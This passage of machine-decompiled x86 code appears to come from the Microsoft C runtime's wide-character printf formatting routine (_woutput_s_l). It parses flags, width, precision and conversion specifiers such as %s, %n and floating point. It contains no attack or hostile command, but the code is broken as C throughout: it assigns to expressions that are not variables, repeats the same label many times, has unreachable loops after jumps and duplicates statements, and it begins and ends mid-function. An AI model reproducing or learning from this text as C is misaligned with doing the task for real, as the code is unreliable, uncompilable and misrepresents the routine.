								 *(_t596 - 0x4b0) =  *(_t596 - 4);
								 *(_t596 - 0x4b4) =  *(_t596 - 0x24);
								while(1) {
									L203:
									 *(_t596 - 0x4b4) =  *(_t596 - 0x4b4) - 1;
									if( *(_t596 - 0x4b4) <= 0) {
										break;
									}
									L204:
									_t520 = E0041AEE0(_t596 - 0x40);
									_t524 = E0043B620(_t596 - 0x458,  *(_t596 - 0x4b0),  *((intOrPtr*)( *((intOrPtr*)(E0041AEE0(_t596 - 0x40))) + 0xac)), _t520);
									_t599 = _t599 + 0x10;
									 *(_t596 - 0x4b8) = _t524;
									if( *(_t596 - 0x4b8) > 0) {
										L206:
										E0043CB20( *(_t596 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
										_t599 = _t599 + 0xc;
										 *(_t596 - 0x4b0) =  *(_t596 - 0x4b0) +  *(_t596 - 0x4b8);
										continue;
									}
									L205:
									 *(_t596 - 0x44c) = 0xffffffff;
									break;
								}
								L207:
								L209:
								if( *(_t596 - 0x44c) >= 0) {
									if(( *(_t596 - 0x10) & 0x00000004) != 0) {
										E0043CB80(0x20,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
										_t599 = _t599 + 0x10;
									}
								}
							}
							L212:
							if( *(_t596 - 0x20) != 0) {
								L0041C5D0( *(_t596 - 0x20), 2);
								_t599 = _t599 + 8;
								 *(_t596 - 0x20) = 0;
							}
							while(1) {
								L214:
								 *(_t596 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t596 + 0xc))));
								_t535 =  *(_t596 - 0x454) & 0x0000ffff;
								 *((intOrPtr*)(_t596 + 0xc)) =  *((intOrPtr*)(_t596 + 0xc)) + 2;
								if(( *(_t596 - 0x454) & 0x0000ffff) == 0 ||  *(_t596 - 0x44c) < 0) {
									break;
								} else {
									if(( *(_t596 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t596 - 0x454) & 0x0000ffff) > 0x78) {
										 *(_t596 - 0x4d8) = 0;
									} else {
										 *(_t596 - 0x4d8) =  *(( *(_t596 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
									}
								}
								L7:
								 *(_t596 - 0x450) =  *(_t596 - 0x4d8);
								_t573 =  *(_t596 - 0x450) * 9;
								_t494 =  *(_t596 - 0x45c);
								_t543 = ( *(_t573 + _t494 + 0x407e38) & 0x000000ff) >> 4;
								 *(_t596 - 0x45c) = ( *(_t573 + _t494 + 0x407e38) & 0x000000ff) >> 4;
								if( *(_t596 - 0x45c) != 8) {
									L16:
									 *(_t596 - 0x4e0) =  *(_t596 - 0x45c);
									if( *(_t596 - 0x4e0) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t596 - 0x4e0) * 4 +  &M0043CA14))) {
										case 0:
											L18:
											 *(_t596 - 0xc) = 1;
											E0043CB20( *(_t596 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
											_t599 = _t599 + 0xc;
											goto L214;
										case 1:
											L19:
											 *(__ebp - 0x2c) = 0;
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) = __ecx;
											__edx =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__eax =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) =  *(__ebp - 0x18);
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L214;
										case 2:
											L20:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e4) = __ecx;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											__eflags =  *(__ebp - 0x4e4) - 0x10;
											if( *(__ebp - 0x4e4) > 0x10) {
												goto L27;
											}
											L21:
											_t59 =  *(__ebp - 0x4e4) + 0x43ca4c; // 0x498d04
											__ecx =  *_t59 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043CA34))) {
												case 0:
													goto L24;
												case 1:
													goto L25;
												case 2:
													goto L23;
												case 3:
													goto L22;
												case 4:
													goto L26;
												case 5:
													goto L27;
											}
										case 3:
											L28:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__edx =  *(__ebp - 0x18);
												__edx =  *(__ebp - 0x18) * 0xa;
												__eflags = __edx;
												_t83 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__ecx = __edx + _t83;
												 *(__ebp - 0x18) = __ecx;
											} else {
												__edx = __ebp + 0x14;
												 *(__ebp - 0x18) = E004283F0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													__ecx =  *(__ebp - 0x18);
													__ecx =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) = __ecx;
												}
											}
											L33:
											goto L214;
										case 4:
											L34:
											 *(__ebp - 0x30) = 0;
											goto L214;
										case 5:
											L35:
											__edx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__ecx =  *(__ebp - 0x30);
												__ecx =  *(__ebp - 0x30) * 0xa;
												__eflags = __ecx;
												_t94 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__eax = __ecx + _t94;
												 *(__ebp - 0x30) = __ecx + _t94;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x30) = E004283F0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L214;
										case 6:
											L41:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e8) = __ecx;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											__eflags =  *(__ebp - 0x4e8) - 0x2e;
											if( *(__ebp - 0x4e8) > 0x2e) {
												L64:
												goto L214;
											}
											L42:
											_t102 =  *(__ebp - 0x4e8) + 0x43ca74; // 0xc2819003
											__ecx =  *_t102 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043CA60))) {
												case 0:
													L47:
													__ecx =  *(__ebp + 0xc);
													__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
														L50:
														__ecx =  *(__ebp + 0xc);
														__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
														__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
														if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
															L53:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x64;
															if(( *__ecx & 0x0000ffff) == 0x64) {
																L59:
																L61:
																goto L64;
															}
															L54:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x69;
															if(__ecx == 0x69) {
																goto L59;
															}
															L55:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																goto L59;
															}
															L56:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x75;
															if(( *__ecx & 0x0000ffff) == 0x75) {
																goto L59;
															}
															L57:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x78;
															if(__ecx == 0x78) {
																goto L59;
															}
															L58:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																 *(__ebp - 0x45c) = 0;
																goto L18;
															}
															goto L59;
														}
														L51:
														__eax =  *(__ebp + 0xc);
														__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
														__eflags = __ecx - 0x32;
														if(__ecx != 0x32) {
															goto L53;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															goto L61;
														}
													}
													L48:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
													__eflags = __ecx - 0x34;
													if(__ecx != 0x34) {
														goto L50;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														goto L61;
													}
												case 1:
													L62:
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) = __ecx;
													goto L64;
												case 2:
													L43:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													} else {
														__ecx =  *(__ebp + 0xc);
														__ecx =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L64;
												case 3:
													L63:
													__edx =  *(__ebp - 0x10);
													__edx =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __edx;
													 *(__ebp - 0x10) = __edx;
													goto L64;
												case 4:
													goto L64;
											}
										case 7:
											L65:
											__eax =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
											__ecx =  *(__ebp - 0x4ec);
											__ecx =  *(__ebp - 0x4ec) - 0x41;
											 *(__ebp - 0x4ec) = __ecx;
											__eflags =  *(__ebp - 0x4ec) - 0x37;
											if( *(__ebp - 0x4ec) > 0x37) {
												goto L187;
												do {
													do {
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
														L183:
														__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L185:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L187:
													if( *(_t596 - 0x28) != 0) {
														goto L212;
													}
													goto L188;
												}
											}
											L66:
											_t143 =  *(__ebp - 0x4ec) + 0x43cae0; // 0xcccccc0d
											__eax =  *_t143 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t143 & 0x000000ff) * 4 +  &M0043CAA4))) {
												case 0:
													L119:
													 *(__ebp - 0x2c) = 1;
													 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													 *(__ebp - 0x454) = __ax;
													goto L120;
												case 1:
													L67:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L69;
												case 2:
													L81:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L83;
												case 3:
													L143:
													 *(__ebp - 0x460) = 7;
													goto L145;
												case 4:
													goto L0;
												case 5:
													L120:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L122:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L125:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L127:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B950( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__edx =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__edx =  *(__ebp + 0x14);
															__eax =  *(__edx - 8);
															__ecx =  *(__edx - 4);
															 *(__ebp - 0x490) =  *(__edx - 8);
															 *(__ebp - 0x48c) =  *(__edx - 4);
															__ecx = __ebp - 0x40;
															_push(E0041AEE0(__ebp - 0x40));
															__edx =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__eax =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__ecx =  *(__ebp - 0x454);
															_push( *(__ebp - 0x454));
															__edx =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__eax =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__ecx = __ebp - 0x490;
															_push(__ebp - 0x490);
															__edx =  *0x440374; // 0xab8ad97d
															E00424750(__edx) =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AEE0(__ebp - 0x40));
																	__ecx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__edx =  *0x440380; // 0x2b8ac62f
																	E00424750(__edx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
															if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AEE0(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x44037c; // 0x2b8ac616
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *(__ebp - 4);
															__edx =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__ecx =  *(__ebp - 4);
																__ecx =  *(__ebp - 4) + 1;
																__eflags = __ecx;
																 *(__ebp - 4) = __ecx;
															}
															__edx =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
															goto L187;
														}
														L123:
														__eax =  *(__ebp - 0x454) & 0x0000ffff;
														__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
														if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
															goto L125;
														}
														L124:
														 *(__ebp - 0x30) = 1;
														goto L127;
													}
													L121:
													 *(__ebp - 0x30) = 6;
													goto L127;
												case 6:
													L69:
													 *(__ebp - 0xc) = 1;
													__ebp + 0x14 = E004283F0(__ebp + 0x14);
													 *(__ebp - 0x458) = __ax;
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) & 0x00000020;
													__eflags = __ecx;
													if(__ecx == 0) {
														 *(__ebp - 0x448) =  *(__ebp - 0x458);
													} else {
														 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
														 *(__ebp - 0x470) = __dl;
														 *((char*)(__ebp - 0x46f)) = 0;
														__ecx = __ebp - 0x40;
														__eax = E0041AEE0(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041AEE0(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x448 + 0xac);
														__edx = __ebp - 0x470;
														__eax = __ebp - 0x448;
														__eax = E0043B620(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
														__eflags = __eax;
														if(__eax < 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x24) = 1;
													do {
														L187:
														if( *(_t596 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													} while ( *(__ebp - 0x4ec) > 0x37);
													goto L66;
												case 7:
													L140:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 8:
													L105:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x484) = E004283F0(__ebp + 0x14);
													__eax = E00433FA0();
													__eflags = __eax;
													if(__eax != 0) {
														L115:
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) & 0x00000020;
														__eflags = __ecx;
														if(__ecx == 0) {
															__ecx =  *(__ebp - 0x484);
															__edx =  *(__ebp - 0x44c);
															 *__ecx =  *(__ebp - 0x44c);
														} else {
															__edx =  *(__ebp - 0x484);
															__ax =  *(__ebp - 0x44c);
															 *( *(__ebp - 0x484)) = __ax;
														}
														 *(__ebp - 0x28) = 1;
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													}
													L106:
													__ecx = 0;
													__eflags = 0;
													if(0 == 0) {
														 *(__ebp - 0x4f4) = 0;
													} else {
														 *(__ebp - 0x4f4) = 1;
													}
													__edx =  *(__ebp - 0x4f4);
													 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
													__eflags =  *(__ebp - 0x488);
													if( *(__ebp - 0x488) == 0) {
														_push(L"(\"\'n\' format specifier disabled\", 0)");
														_push(0);
														_push(0x695);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														__eax = L0041E410();
														__esp = __esp + 0x14;
														__eflags = __eax - 1;
														if(__eax == 1) {
															asm("int3");
														}
													}
													__eflags =  *(__ebp - 0x488);
													if( *(__ebp - 0x488) != 0) {
														L114:
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													} else {
														L113:
														 *((intOrPtr*)(L00422F00(__ecx))) = 0x16;
														__eax = E00422C90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
														 *(__ebp - 0x4cc) = 0xffffffff;
														__ecx = __ebp - 0x40;
														__eax = E0041AEB0(__ecx);
														__eax =  *(__ebp - 0x4cc);
														goto L225;
													}
												case 9:
													L148:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L150;
												case 0xa:
													L142:
													 *(__ebp - 0x30) = 8;
													goto L143;
												case 0xb:
													L83:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x4f0) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x4f0);
													 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E004283F0(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
													__eflags =  *(__ebp - 0x10) & 0x00000020;
													if(( *(__ebp - 0x10) & 0x00000020) == 0) {
														L97:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__ecx =  *0x440f84; // 0x404468
															 *(__ebp - 4) = __ecx;
														}
														 *(__ebp - 0xc) = 1;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x480) =  *(__ebp - 4);
														while(1) {
															L100:
															__eax =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c) - 1;
															 *(__ebp - 0x47c) = __ecx;
															__eflags =  *(__ebp - 0x47c);
															if( *(__ebp - 0x47c) == 0) {
																break;
															}
															L101:
															__edx =  *(__ebp - 0x480);
															__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
															if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																break;
															}
															L102:
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
														}
														L103:
														__edx =  *(__ebp - 0x480);
														__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
														__eflags = __edx;
														 *(__ebp - 0x24) = __edx;
														goto L104;
													} else {
														L87:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x440f80; // 0x404478
															 *(__ebp - 4) = __eax;
														}
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x478) = __ecx;
														 *(__ebp - 0x24) = 0;
														while(1) {
															L91:
															__eax =  *(__ebp - 0x24);
															__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
															if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																break;
															}
															L92:
															__ecx =  *(__ebp - 0x478);
															__edx =  *__ecx;
															__eflags =  *__ecx;
															if( *__ecx == 0) {
																break;
															}
															L93:
															__ecx = __ebp - 0x40;
															E0041AEE0(__ebp - 0x40) =  *(__ebp - 0x478);
															__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
															__eax = E004312B0( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
															__eflags = __eax;
															if(__eax != 0) {
																__edx =  *(__ebp - 0x478);
																__edx =  *(__ebp - 0x478) + 1;
																__eflags = __edx;
																 *(__ebp - 0x478) = __edx;
															}
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															__edx =  *(__ebp - 0x24);
															__edx =  *(__ebp - 0x24) + 1;
															__eflags = __edx;
															 *(__ebp - 0x24) = __edx;
														}
														L96:
														L104:
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													}
												case 0xc:
													L141:
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 0xd:
													L144:
													 *(__ebp - 0x460) = 0x27;
													L145:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx = 0x30;
														 *((short*)(__ebp - 0x14)) = __dx;
														 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
														__eflags =  *(__ebp - 0x460) + 0x51;
														 *(__ebp - 0x12) = __ax;
														 *(__ebp - 0x1c) = 2;
													}
													L150:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E004283F0(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E004283F0(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E004283F0(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																	 *(__ebp - 0x49c) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E004283F0(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x4a0) = E00428410(__ebp + 0x14);
															 *(__ebp - 0x49c) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x4a0) = E00428410(__ebp + 0x14);
														 *(__ebp - 0x49c) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L167:
														__ecx =  *(__ebp - 0x4a0);
														 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
														__edx =  *(__ebp - 0x49c);
														 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
														goto L168;
													} else {
														L163:
														__eflags =  *(__ebp - 0x49c);
														if(__eflags > 0) {
															goto L167;
														}
														L164:
														if(__eflags < 0) {
															L166:
															 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
															__edx =  *(__ebp - 0x49c);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x49c));
